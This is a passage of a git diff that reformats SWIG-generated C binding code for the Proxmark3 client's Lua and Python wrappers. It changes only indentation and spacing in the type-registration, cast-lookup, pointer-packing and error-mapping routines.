%s\n", ret->name); -#endif - } - if (ret) { - if (type == swig_module.type_initial[i]) { -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: skip old type %s\n", ret->name); -#endif - cast->type = ret; - ret = 0; - } else { - /* Check for casting already in the list */ - swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type); -#ifdef SWIGRUNTIME_DEBUG - if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name); -#endif - if (!ocast) ret = 0; - } - } + /* otherwise we must add our module into the list */ + swig_module.next = module_head->next; + module_head->next = &swig_module; + } - if (!ret) { + /* When multiple interpreters are used, a module could have already been initialized in + a different interpreter, but not yet have a pointer in this interpreter. + In this case, we do not want to continue adding types... everything should be + set up already */ + if (init == 0) return; + + /* Now work on filling in swig_module.types */ #ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name); + printf("SWIG_InitializeModule: size %lu\n", (unsigned long)swig_module.size); #endif - if (type->cast) { - type->cast->prev = cast; - cast->next = type->cast; + for (i = 0; i < swig_module.size; ++i) { + swig_type_info *type = 0; + swig_type_info *ret; + swig_cast_info *cast; + +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); +#endif + + /* if there is another module already loaded */ + if (swig_module.next != &swig_module) { + type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name); } - type->cast = cast; - } - cast++; + if (type) { + /* Overwrite clientdata field */ +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: found type %s\n", type->name); +#endif + if (swig_module.type_initial[i]->clientdata) { + type->clientdata = swig_module.type_initial[i]->clientdata; +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name); +#endif + } + } else { + type = swig_module.type_initial[i]; + } + + /* Insert casting types */ + cast = swig_module.cast_initial[i]; + while (cast->type) { + + /* Don't need to add information already in the list */ + ret = 0; +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: look cast %s\n", cast->type->name); +#endif + if (swig_module.next != &swig_module) { + ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name); +#ifdef SWIGRUNTIME_DEBUG + if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name); +#endif + } + if (ret) { + if (type == swig_module.type_initial[i]) { +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: skip old type %s\n", ret->name); +#endif + cast->type = ret; + ret = 0; + } else { + /* Check for casting already in the list */ + swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type); +#ifdef SWIGRUNTIME_DEBUG + if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name); +#endif + if (!ocast) ret = 0; + } + } + + if (!ret) { +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name); +#endif + if (type->cast) { + type->cast->prev = cast; + cast->next = type->cast; + } + type->cast = cast; + } + cast++; + } + /* Set entry in modules->types array equal to the type */ + swig_module.types[i] = type; } - /* Set entry in modules->types array equal to the type */ - swig_module.types[i] = type; - } - swig_module.types[i] = 0; + swig_module.types[i] = 0; #ifdef SWIGRUNTIME_DEBUG - printf("**** SWIG_InitializeModule: Cast List ******\n"); - for (i = 0; i < swig_module.size; ++i) { - int j = 0; - swig_cast_info *cast = swig_module.cast_initial[i]; - printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); - while (cast->type) { - printf("SWIG_InitializeModule: cast type %s\n", cast->type->name); - cast++; - ++j; + printf("**** SWIG_InitializeModule: Cast List ******\n"); + for (i = 0; i < swig_module.size; ++i) { + int j = 0; + swig_cast_info *cast = swig_module.cast_initial[i]; + printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); + while (cast->type) { + printf("SWIG_InitializeModule: cast type %s\n", cast->type->name); + cast++; + ++j; + } + printf("---- Total casts: %d\n", j); } - printf("---- Total casts: %d\n",j); - } - printf("**** SWIG_InitializeModule: Cast List ******\n"); + printf("**** SWIG_InitializeModule: Cast List ******\n"); #endif } @@ -3225,30 +3151,31 @@ SWIG_InitializeModule(SWIG_INIT_CLIENT_DATA_TYPE clientdata) { */ SWIGRUNTIME void SWIG_PropagateClientData(void) { - size_t i; - swig_cast_info *equiv; - static int init_run = 0; + size_t i; + swig_cast_info *equiv; + static int init_run = 0; - if (init_run) return; - init_run = 1; + if (init_run) return; + init_run = 1; - for (i = 0; i < swig_module.size; i++) { - if (swig_module.types[i]->clientdata) { - equiv = swig_module.types[i]->cast; - while (equiv) { - if (!equiv->converter) { - if (equiv->type && !equiv->type->clientdata) - SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata); + for (i = 0; i < swig_module.size; i++) { + if (swig_module.types[i]->clientdata) { + equiv = swig_module.types[i]->cast; + while (equiv) { + if (!equiv->converter) { + if (equiv->type && !equiv->type->clientdata) + SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata); + } + equiv = equiv->next; + } } - equiv = equiv->next; - } } - } } #ifdef __cplusplus #if 0 -{ /* c-mode */ +{ + /* c-mode */ #endif } #endif @@ -3256,8 +3183,8 @@ SWIG_PropagateClientData(void) { /* Forward declaration of where the user's %init{} gets inserted */ -void SWIG_init_user(lua_State* L ); - +void SWIG_init_user(lua_State *L); + #ifdef __cplusplus extern "C" { #endif @@ -3266,74 +3193,74 @@ extern "C" { the function is always called SWIG_init, but an earlier #define will rename it */ #if ((SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUA) || (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUAC)) -LUALIB_API int SWIG_init(lua_State* L) +LUALIB_API int SWIG_init(lua_State *L) #else -SWIGEXPORT int SWIG_init(lua_State* L) /* default Lua action */ +SWIGEXPORT int SWIG_init(lua_State *L) /* default Lua action */ #endif { #if (SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUAC) /* valid for both Lua and eLua */ - int i; - int globalRegister = 0; - /* start with global table */ - lua_pushglobaltable (L); - /* SWIG's internal initialisation */ - SWIG_InitializeModule((void*)L); - SWIG_PropagateClientData(); + int i; + int globalRegister = 0; + /* start with global table */ + lua_pushglobaltable(L); + /* SWIG's internal initialisation */ + SWIG_InitializeModule((void *)L); + SWIG_PropagateClientData(); #endif #if ((SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUA) && (SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUAC)) || defined(SWIG_LUA_ELUA_EMULATE) - /* add a global fn */ - SWIG_Lua_add_function(L,"swig_type",SWIG_Lua_type); - SWIG_Lua_add_function(L,"swig_equals",SWIG_Lua_class_equal); + /* add a global fn */ + SWIG_Lua_add_function(L, "swig_type", SWIG_Lua_type); + SWIG_Lua_add_function(L, "swig_equals", SWIG_Lua_class_equal); #endif #if (SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUAC) - /* set up base class pointers (the hierarchy) */ - for (i = 0; swig_types[i]; i++){ - if (swig_types[i]->clientdata){ - SWIG_Lua_init_base_class(L,(swig_lua_class*)(swig_types[i]->clientdata)); + /* set up base class pointers (the hierarchy) */ + for (i = 0; swig_types[i]; i++) { + if (swig_types[i]->clientdata) { + SWIG_Lua_init_base_class(L, (swig_lua_class *)(swig_types[i]->clientdata)); + } } - } #ifdef SWIG_LUA_MODULE_GLOBAL - globalRegister = 1; + globalRegister = 1; #endif #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) - SWIG_Lua_namespace_register(L,&swig_SwigModule, globalRegister); + SWIG_Lua_namespace_register(L, &swig_SwigModule, globalRegister); #endif #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUA) || (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUAC) - for (i = 0; swig_types[i]; i++){ - if (swig_types[i]->clientdata){ - SWIG_Lua_elua_class_register_instance(L,(swig_lua_class*)(swig_types[i]->clientdata)); + for (i = 0; swig_types[i]; i++) { + if (swig_types[i]->clientdata) { + SWIG_Lua_elua_class_register_instance(L, (swig_lua_class *)(swig_types[i]->clientdata)); + } } - } #endif #if defined(SWIG_LUA_ELUA_EMULATE) - lua_newtable(L); - SWIG_Lua_elua_emulate_register(L,swig_SwigModule.ns_methods); - SWIG_Lua_elua_emulate_register_clear(L); - if(globalRegister) { - lua_pushstring(L,swig_SwigModule.name); - lua_pushvalue(L,-2); - lua_rawset(L,-4); - } + lua_newtable(L); + SWIG_Lua_elua_emulate_register(L, swig_SwigModule.ns_methods); + SWIG_Lua_elua_emulate_register_clear(L); + if (globalRegister) { + lua_pushstring(L, swig_SwigModule.name); + lua_pushvalue(L, -2); + lua_rawset(L, -4); + } #endif #endif #if (SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUAC) - /* invoke user-specific initialization */ - SWIG_init_user(L); - /* end module */ - /* Note: We do not clean up the stack here (Lua will do this for us). At this - point, we have the globals table and out module table on the stack. Returning - one value makes the module table the result of the require command. */ - return 1; + /* invoke user-specific initialization */ + SWIG_init_user(L); + /* end module */ + /* Note: We do not clean up the stack here (Lua will do this for us). At this + point, we have the globals table and out module table on the stack. Returning + one value makes the module table the result of the require command. */ + return 1; #else - return 0; + return 0; #endif } @@ -3342,12 +3269,11 @@ SWIGEXPORT int SWIG_init(lua_State* L) /* default Lua action */ #endif -const char* SWIG_LUACODE= - ""; +const char *SWIG_LUACODE = + ""; -void SWIG_init_user(lua_State* L) -{ - /* exec Lua code if applicable */ - SWIG_Lua_dostring(L,SWIG_LUACODE); +void SWIG_init_user(lua_State *L) { + /* exec Lua code if applicable */ + SWIG_Lua_dostring(L, SWIG_LUACODE); } diff --git a/client/src/pm3_pywrap.c b/client/src/pm3_pywrap.c index 6180a8771..02186d257 100644 --- a/client/src/pm3_pywrap.c +++ b/client/src/pm3_pywrap.c @@ -139,7 +139,7 @@ # define SWIG_NULLPTR nullptr #else # define SWIG_NULLPTR NULL -#endif +#endif /* ----------------------------------------------------------------------------- * swigcompat.swg @@ -377,10 +377,10 @@ # define SWIG_CASTRANKMASK ((SWIG_CASTRANKLIMIT) -1) # define SWIG_CastRank(r) (r & SWIG_CASTRANKMASK) SWIGINTERNINLINE int SWIG_AddCast(int r) { - return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r; + return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r; } SWIGINTERNINLINE int SWIG_CheckState(int r) { - return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; + return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; } #else /* no cast-rank mode */ # define SWIG_AddCast(r) (r) @@ -399,32 +399,32 @@ typedef struct swig_type_info *(*swig_dycast_func)(void **); /* Structure to store information on one type */ typedef struct swig_type_info { - const char *name; /* mangled name of this type */ - const char *str; /* human readable name of this type */ - swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ - struct swig_cast_info *cast; /* linked list of types that can cast into this type */ - void *clientdata; /* language specific type data */ - int owndata; /* flag if the structure owns the clientdata */ + const char *name; /* mangled name of this type */ + const char *str; /* human readable name of this type */ + swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ + struct swig_cast_info *cast; /* linked list of types that can cast into this type */ + void *clientdata; /* language specific type data */ + int owndata; /* flag if the structure owns the clientdata */ } swig_type_info; /* Structure to store a type and conversion function used for casting */ typedef struct swig_cast_info { - swig_type_info *type; /* pointer to type that is equivalent to this type */ - swig_converter_func converter; /* function to cast the void pointers */ - struct swig_cast_info *next; /* pointer to next cast in linked list */ - struct swig_cast_info *prev; /* pointer to the previous cast */ + swig_type_info *type; /* pointer to type that is equivalent to this type */ + swig_converter_func converter; /* function to cast the void pointers */ + struct swig_cast_info *next; /* pointer to next cast in linked list */ + struct swig_cast_info *prev; /* pointer to the previous cast */ } swig_cast_info; /* Structure used to store module information * Each module generates one structure like this, and the runtime collects * all of these structures and stores them in a circularly linked list.*/ typedef struct swig_module_info { - swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ - size_t size; /* Number of types in this module */ - struct swig_module_info *next; /* Pointer to next element in circularly linked list */ - swig_type_info **type_initial; /* Array of initially generated type structures */ - swig_cast_info **cast_initial; /* Array of initially generated casting structures */ - void *clientdata; /* Language specific module data */ + swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ + size_t size; /* Number of types in this module */ + struct swig_module_info *next; /* Pointer to next element in circularly linked list */ + swig_type_info **type_initial; /* Array of initially generated type structures */ + swig_cast_info **cast_initial; /* Array of initially generated casting structures */ + void *clientdata; /* Language specific module data */ } swig_module_info; /* @@ -436,13 +436,13 @@ typedef struct swig_module_info { */ SWIGRUNTIME int SWIG_TypeNameComp(const char *f1, const char *l1, - const char *f2, const char *l2) { - for (;(f1 != l1) && (f2 != l2); ++f1, ++f2) { - while ((*f1 == ' ') && (f1 != l1)) ++f1; - while ((*f2 == ' ') && (f2 != l2)) ++f2; - if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1; - } - return (int)((l1 - f1) - (l2 - f2)); + const char *f2, const char *l2) { + for (; (f1 != l1) && (f2 != l2); ++f1, ++f2) { + while ((*f1 == ' ') && (f1 != l1)) ++f1; + while ((*f2 == ' ') && (f2 != l2)) ++f2; + if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1; + } + return (int)((l1 - f1) - (l2 - f2)); } /* @@ -451,17 +451,17 @@ SWIG_TypeNameComp(const char *f1, const char *l1, */ SWIGRUNTIME int SWIG_TypeCmp(const char *nb, const char *tb) { - int equiv = 1; - const char* te = tb + strlen(tb); - const char* ne = nb; - while (equiv != 0 && *ne) { - for (nb = ne; *ne; ++ne) { - if (*ne == '|') break; + int equiv = 1; + const char *te = tb + strlen(tb); + const char *ne = nb; + while (equiv != 0 && *ne) { + for (nb = ne; *ne; ++ne) { + if (*ne == '|') break; + } + equiv = SWIG_TypeNameComp(nb, ne, tb, te); + if (*ne) ++ne; } - equiv = SWIG_TypeNameComp(nb, ne, tb, te); - if (*ne) ++ne; - } - return equiv; + return equiv; } /* @@ -470,7 +470,7 @@ SWIG_TypeCmp(const char *nb, const char *tb) { */ SWIGRUNTIME int SWIG_TypeEquiv(const char *nb, const char *tb) { - return SWIG_TypeCmp(nb, tb) == 0 ? 1 : 0; + return SWIG_TypeCmp(nb, tb) == 0 ? 1 : 0; } /* @@ -478,26 +478,26 @@ SWIG_TypeEquiv(const char *nb, const char *tb) { */ SWIGRUNTIME swig_cast_info * SWIG_TypeCheck(const char *c, swig_type_info *ty) { - if (ty) { - swig_cast_info *iter = ty->cast; - while (iter) { - if (strcmp(iter->type->name, c) == 0) { - if (iter == ty->cast) - return iter; - /* Move iter to the top of the linked list */ - iter->prev->next = iter->next; - if (iter->next) - iter->next->prev = iter->prev; - iter->next = ty->cast; - iter->prev = 0; - if (ty->cast) ty->cast->prev = iter; - ty->cast = iter; - return iter; - } - iter = iter->next; + if (ty) { + swig_cast_info *iter = ty->cast; + while (iter) { + if (strcmp(iter->type->name, c) == 0) { + if (iter == ty->cast) + return iter; + /* Move iter to the top of the linked list */ + iter->prev->next = iter->next; + if (iter->next) + iter->next->prev = iter->prev; + iter->next = ty->cast; + iter->prev = 0; + if (ty->cast) ty->cast->prev = iter; + ty->cast = iter; + return iter; + } + iter = iter->next; + } } - } - return 0; + return 0; } /* @@ -505,26 +505,26 @@ SWIG_TypeCheck(const char *c, swig_type_info *ty) { */ SWIGRUNTIME swig_cast_info * SWIG_TypeCheckStruct(const swig_type_info *from, swig_type_info *ty) { - if (ty) { - swig_cast_info *iter = ty->cast; - while (iter) { - if (iter->type == from) { - if (iter == ty->cast) - return iter; - /* Move iter to the top of the linked list */ - iter->prev->next = iter->next; - if (iter->next) - iter->next->prev = iter->prev; - iter->next = ty->cast; - iter->prev = 0; - if (ty->cast) ty->cast->prev = iter; - ty->cast = iter; - return iter; - } - iter = iter->next; + if (ty) { + swig_cast_info *iter = ty->cast; + while (iter) { + if (iter->type == from) { + if (iter == ty->cast) + return iter; + /* Move iter to the top of the linked list */ + iter->prev->next = iter->next; + if (iter->next) + iter->next->prev = iter->prev; + iter->next = ty->cast; + iter->prev = 0; + if (ty->cast) ty->cast->prev = iter; + ty->cast = iter; + return iter; + } + iter = iter->next; + } } - } - return 0; + return 0; } /* @@ -532,7 +532,7 @@ SWIG_TypeCheckStruct(const swig_type_info *from, swig_type_info *ty) { */ SWIGRUNTIMEINLINE void * SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) { - return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory); + return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory); } /* @@ -540,13 +540,13 @@ SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) { */ SWIGRUNTIME swig_type_info * SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) { - swig_type_info *lastty = ty; - if (!ty || !ty->dcast) return ty; - while (ty && (ty->dcast)) { - ty = (*ty->dcast)(ptr); - if (ty) lastty = ty; - } - return lastty; + swig_type_info *lastty = ty; + if (!ty || !ty->dcast) return ty; + while (ty && (ty->dcast)) { + ty = (*ty->dcast)(ptr); + if (ty) lastty = ty; + } + return lastty; } /* @@ -554,7 +554,7 @@ SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) { */ SWIGRUNTIMEINLINE const char * SWIG_TypeName(const swig_type_info *ty) { - return ty->name; + return ty->name; } /* @@ -563,20 +563,19 @@ SWIG_TypeName(const swig_type_info *ty) { */ SWIGRUNTIME const char * SWIG_TypePrettyName(const swig_type_info *type) { - /* The "str" field contains the equivalent pretty names of the - type, separated by vertical-bar characters. Choose the last - name. It should be the most specific; a fully resolved name - but not necessarily with default template parameters expanded. */ - if (!type) return NULL; - if (type->str != NULL) { - const char *last_name = type->str; - const char *s; - for (s = type->str; *s; s++) - if (*s == '|') last_name = s+1; - return last_name; - } - else - return type->name; + /* The "str" field contains the equivalent pretty names of the + type, separated by vertical-bar characters. Choose the last + name. It should be the most specific; a fully resolved name + but not necessarily with default template parameters expanded. */ + if (!type) return NULL; + if (type->str != NULL) { + const char *last_name = type->str; + const char *s; + for (s = type->str; *s; s++) + if (*s == '|') last_name = s + 1; + return last_name; + } else + return type->name; } /* @@ -584,24 +583,24 @@ SWIG_TypePrettyName(const swig_type_info *type) { */ SWIGRUNTIME void SWIG_TypeClientData(swig_type_info *ti, void *clientdata) { - swig_cast_info *cast = ti->cast; - /* if (ti->clientdata == clientdata) return; */ - ti->clientdata = clientdata; + swig_cast_info *cast = ti->cast; + /* if (ti->clientdata == clientdata) return; */ + ti->clientdata = clientdata; - while (cast) { - if (!cast->converter) { - swig_type_info *tc = cast->type; - if (!tc->clientdata) { - SWIG_TypeClientData(tc, clientdata); - } + while (cast) { + if (!cast->converter) { + swig_type_info *tc = cast->type; + if (!tc->clientdata) { + SWIG_TypeClientData(tc, clientdata); + } + } + cast = cast->next; } - cast = cast->next; - } } SWIGRUNTIME void SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) { - SWIG_TypeClientData(ti, clientdata); - ti->owndata = 1; + SWIG_TypeClientData(ti, clientdata); + ti->owndata = 1; } /* @@ -615,37 +614,37 @@ SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) { SWIGRUNTIME swig_type_info * SWIG_MangledTypeQueryModule(swig_module_info *start, swig_module_info *end, - const char *name) { - swig_module_info *iter = start; - do { - if (iter->size) { - size_t l = 0; - size_t r = iter->size - 1; - do { - /* since l+r >= 0, we can (>> 1) instead (/ 2) */ - size_t i = (l + r) >> 1; - const char *iname = iter->types[i]->name; - if (iname) { - int compare = strcmp(name, iname); - if (compare == 0) { - return iter->types[i]; - } else if (compare < 0) { - if (i) { - r = i - 1; - } else { - break; - } - } else if (compare > 0) { - l = i + 1; - } - } else { - break; /* should never happen */ - } - } while (l <= r); - } - iter = iter->next; - } while (iter != end); - return 0; + const char *name) { + swig_module_info *iter = start; + do { + if (iter->size) { + size_t l = 0; + size_t r = iter->size - 1; + do { + /* since l+r >= 0, we can (>> 1) instead (/ 2) */ + size_t i = (l + r) >> 1; + const char *iname = iter->types[i]->name; + if (iname) { + int compare = strcmp(name, iname); + if (compare == 0) { + return iter->types[i]; + } else if (compare < 0) { + if (i) { + r = i - 1; + } else { + break; + } + } else if (compare > 0) { + l = i + 1; + } + } else { + break; /* should never happen */ + } + } while (l <= r); + } + iter = iter->next; + } while (iter != end); + return 0; } /* @@ -660,27 +659,27 @@ SWIG_MangledTypeQueryModule(swig_module_info *start, SWIGRUNTIME swig_type_info * SWIG_TypeQueryModule(swig_module_info *start, swig_module_info *end, - const char *name) { - /* STEP 1: Search the name field using binary search */ - swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name); - if (ret) { - return ret; - } else { - /* STEP 2: If the type hasn't been found, do a complete search - of the str field (the human readable name) */ - swig_module_info *iter = start; - do { - size_t i = 0; - for (; i < iter->size; ++i) { - if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name))) - return iter->types[i]; - } - iter = iter->next; - } while (iter != end); - } + const char *name) { + /* STEP 1: Search the name field using binary search */ + swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name); + if (ret) { + return ret; + } else { + /* STEP 2: If the type hasn't been found, do a complete search + of the str field (the human readable name) */ + swig_module_info *iter = start; + do { + size_t i = 0; + for (; i < iter->size; ++i) { + if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name))) + return iter->types[i]; + } + iter = iter->next; + } while (iter != end); + } - /* neither found a match */ - return 0; + /* neither found a match */ + return 0; } /* @@ -688,15 +687,15 @@ SWIG_TypeQueryModule(swig_module_info *start, */ SWIGRUNTIME char * SWIG_PackData(char *c, void *ptr, size_t sz) { - static const char hex[17] = "0123456789abcdef"; - const unsigned char *u = (unsigned char *) ptr; - const unsigned char *eu = u + sz; - for (; u != eu; ++u) { - unsigned char uu = *u; - *(c++) = hex[(uu & 0xf0) >> 4]; - *(c++) = hex[uu & 0xf]; - } - return c; + static const char hex[17] = "0123456789abcdef"; + const unsigned char *u = (unsigned char *) ptr; + const unsigned char *eu = u + sz; + for (; u != eu; ++u) { + unsigned char uu = *u; + *(c++) = hex[(uu & 0xf0) >> 4]; + *(c++) = hex[uu & 0xf]; + } + return c; } /* @@ -704,27 +703,27 @@ SWIG_PackData(char *c, void *ptr, size_t sz) { */ SWIGRUNTIME const char * SWIG_UnpackData(const char *c, void *ptr, size_t sz) { - unsigned char *u = (unsigned char *) ptr; - const unsigned char *eu = u + sz; - for (; u != eu; ++u) { - char d = *(c++); - unsigned char uu; - if ((d >= '0') && (d <= '9')) - uu = (unsigned char)((d - '0') << 4); - else if ((d >= 'a') && (d <= 'f')) - uu = (unsigned char)((d - ('a'-10)) << 4); - else - return (char *) 0; - d = *(c++); - if ((d >= '0') && (d <= '9')) - uu |= (unsigned char)(d - '0'); - else if ((d >= 'a') && (d <= 'f')) - uu |= (unsigned char)(d - ('a'-10)); - else - return (char *) 0; - *u = uu; - } - return c; + unsigned char *u = (unsigned char *) ptr; + const unsigned char *eu = u + sz; + for (; u != eu; ++u) { + char d = *(c++); + unsigned char uu; + if ((d >= '0') && (d <= '9')) + uu = (unsigned char)((d - '0') << 4); + else if ((d >= 'a') && (d <= 'f')) + uu = (unsigned char)((d - ('a' - 10)) << 4); + else + return (char *) 0; + d = *(c++); + if ((d >= '0') && (d <= '9')) + uu |= (unsigned char)(d - '0'); + else if ((d >= 'a') && (d <= 'f')) + uu |= (unsigned char)(d - ('a' - 10)); + else + return (char *) 0; + *u = uu; + } + return c; } /* @@ -732,54 +731,54 @@ SWIG_UnpackData(const char *c, void *ptr, size_t sz) { */ SWIGRUNTIME char * SWIG_PackVoidPtr(char *buff, void *ptr, const char *name, size_t bsz) { - char *r = buff; - if ((2*sizeof(void *) + 2) > bsz) return 0; - *(r++) = '_'; - r = SWIG_PackData(r,&ptr,sizeof(void *)); - if (strlen(name) + 1 > (bsz - (r - buff))) return 0; - strcpy(r,name); - return buff; + char *r = buff; + if ((2 * sizeof(void *) + 2) > bsz) return 0; + *(r++) = '_'; + r = SWIG_PackData(r, &ptr, sizeof(void *)); + if (strlen(name) + 1 > (bsz - (r - buff))) return 0; + strcpy(r, name); + return buff; } SWIGRUNTIME const char * SWIG_UnpackVoidPtr(const char *c, void **ptr, const char *name) { - if (*c != '_') { - if (strcmp(c,"NULL") == 0) { - *ptr = (void *) 0; - return name; - } else { - return 0; + if (*c != '_') { + if (strcmp(c, "NULL") == 0) { + *ptr = (void *) 0; + return name; + } else { + return 0; + } } - } - return SWIG_UnpackData(++c,ptr,sizeof(void *)); + return SWIG_UnpackData(++c, ptr, sizeof(void *)); } SWIGRUNTIME char * SWIG_PackDataName(char *buff, void *ptr, size_t sz, const char *name, size_t bsz) { - char *r = buff; - size_t lname = (name ? strlen(name) : 0); - if ((2*sz + 2 + lname) > bsz) return 0; - *(r++) = '_'; - r = SWIG_PackData(r,ptr,sz); - if (lname) { - strncpy(r,name,lname+1); - } else { - *r = 0; - } - return buff; + char *r = buff; + size_t lname = (name ? strlen(name) : 0); + if ((2 * sz + 2 + lname) > bsz) return 0; + *(r++) = '_'; + r = SWIG_PackData(r, ptr, sz); + if (lname) { + strncpy(r, name, lname + 1); + } else { + *r = 0; + } + return buff; } SWIGRUNTIME const char * SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { - if (*c != '_') { - if (strcmp(c,"NULL") == 0) { - memset(ptr,0,sz); - return name; - } else { - return 0; + if (*c != '_') { + if (strcmp(c, "NULL") == 0) { + memset(ptr, 0, sz); + return name; + } else { + return 0; + } } - } - return SWIG_UnpackData(++c,ptr,sz); + return SWIG_UnpackData(++c, ptr, sz); } #ifdef __cplusplus @@ -814,7 +813,7 @@ SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { #define PyString_FromString(x) PyUnicode_FromString(x) #define PyString_Format(fmt, args) PyUnicode_Format(fmt, args) #define PyString_AsString(str) PyBytes_AsString(str) -#define PyString_Size(str) PyBytes_Size(str) +#define PyString_Size(str) PyBytes_Size(str) #define PyString_InternFromString(key) PyUnicode_InternFromString(key) #define Py_TPFLAGS_HAVE_CLASS Py_TPFLAGS_BASETYPE #define _PyLong_FromSsize_t(x) PyLong_FromSsize_t(x) @@ -836,34 +835,32 @@ SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { /* Wrapper around PyUnicode_AsUTF8AndSize - call Py_XDECREF on the returned pbytes when finished with the returned string */ SWIGINTERN const char * -SWIG_PyUnicode_AsUTF8AndSize(PyObject *str, Py_ssize_t *psize, PyObject **pbytes) -{ +SWIG_PyUnicode_AsUTF8AndSize(PyObject *str, Py_ssize_t *psize, PyObject **pbytes) { #if PY_VERSION_HEX >= 0x03030000 # if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x030A0000 - *pbytes = NULL; - return PyUnicode_AsUTF8AndSize(str, psize); + *pbytes = NULL; + return PyUnicode_AsUTF8AndSize(str, psize); # else - *pbytes = PyUnicode_AsUTF8String(str); - const char *chars = *pbytes ? PyBytes_AsString(*pbytes) : NULL; - if (chars && psize) - *psize = PyBytes_Size(*pbytes); - return chars; + *pbytes = PyUnicode_AsUTF8String(str); + const char *chars = *pbytes ? PyBytes_AsString(*pbytes) : NULL; + if (chars && psize) + *psize = PyBytes_Size(*pbytes); + return chars; # endif #else - char *chars = NULL; - *pbytes = NULL; - PyString_AsStringAndSize(str, &chars, psize); - return chars; + char *chars = NULL; + *pbytes = NULL; + PyString_AsStringAndSize(str, &chars, psize); + return chars; #endif } -SWIGINTERN PyObject* -SWIG_Python_str_FromChar(const char *c) -{ +SWIGINTERN PyObject * +SWIG_Python_str_FromChar(const char *c) { #if PY_VERSION_HEX >= 0x03000000 - return PyUnicode_FromString(c); + return PyUnicode_FromString(c); #else - return PyString_FromString(c); + return PyString_FromString(c); #endif } @@ -904,110 +901,107 @@ SWIG_Python_str_FromChar(const char *c) * error manipulation * ----------------------------------------------------------------------------- */ -SWIGRUNTIME PyObject* +SWIGRUNTIME PyObject * SWIG_Python_ErrorType(int code) { - PyObject* type = 0; - switch(code) { - case SWIG_MemoryError: - type = PyExc_MemoryError; - break; - case SWIG_IOError: - type = PyExc_IOError; - break; - case SWIG_RuntimeError: - type = PyExc_RuntimeError; - break; - case SWIG_IndexError: - type = PyExc_IndexError; - break; - case SWIG_TypeError: - type = PyExc_TypeError; - break; - case SWIG_DivisionByZero: - type = PyExc_ZeroDivisionError; - break; - case SWIG_OverflowError: - type = PyExc_OverflowError; - break; - case SWIG_SyntaxError: - type = PyExc_SyntaxError; - break; - case SWIG_ValueError: - type = PyExc_ValueError; - break; - case SWIG_SystemError: - type = PyExc_SystemError; - break; - case SWIG_AttributeError: - type = PyExc_AttributeError; - break; - default: - type = PyExc_RuntimeError; - } - return type; + PyObject *type = 0; + switch (code) { + case SWIG_MemoryError: + type = PyExc_MemoryError; + break; + case SWIG_IOError: + type = PyExc_IOError; + break; + case SWIG_RuntimeError: + type = PyExc_RuntimeError; + break; + case SWIG_IndexError: + type = PyExc_IndexError; + break; + case SWIG_TypeError: + type = PyExc_TypeError; + break; + case SWIG_DivisionByZero: + type = PyExc_ZeroDivisionError; + break; + case SWIG_OverflowError: + type = PyExc_OverflowError; + break; + case SWIG_SyntaxError: + type = PyExc_SyntaxError; + break; + case SWIG_ValueError: + type = PyExc_ValueError; + 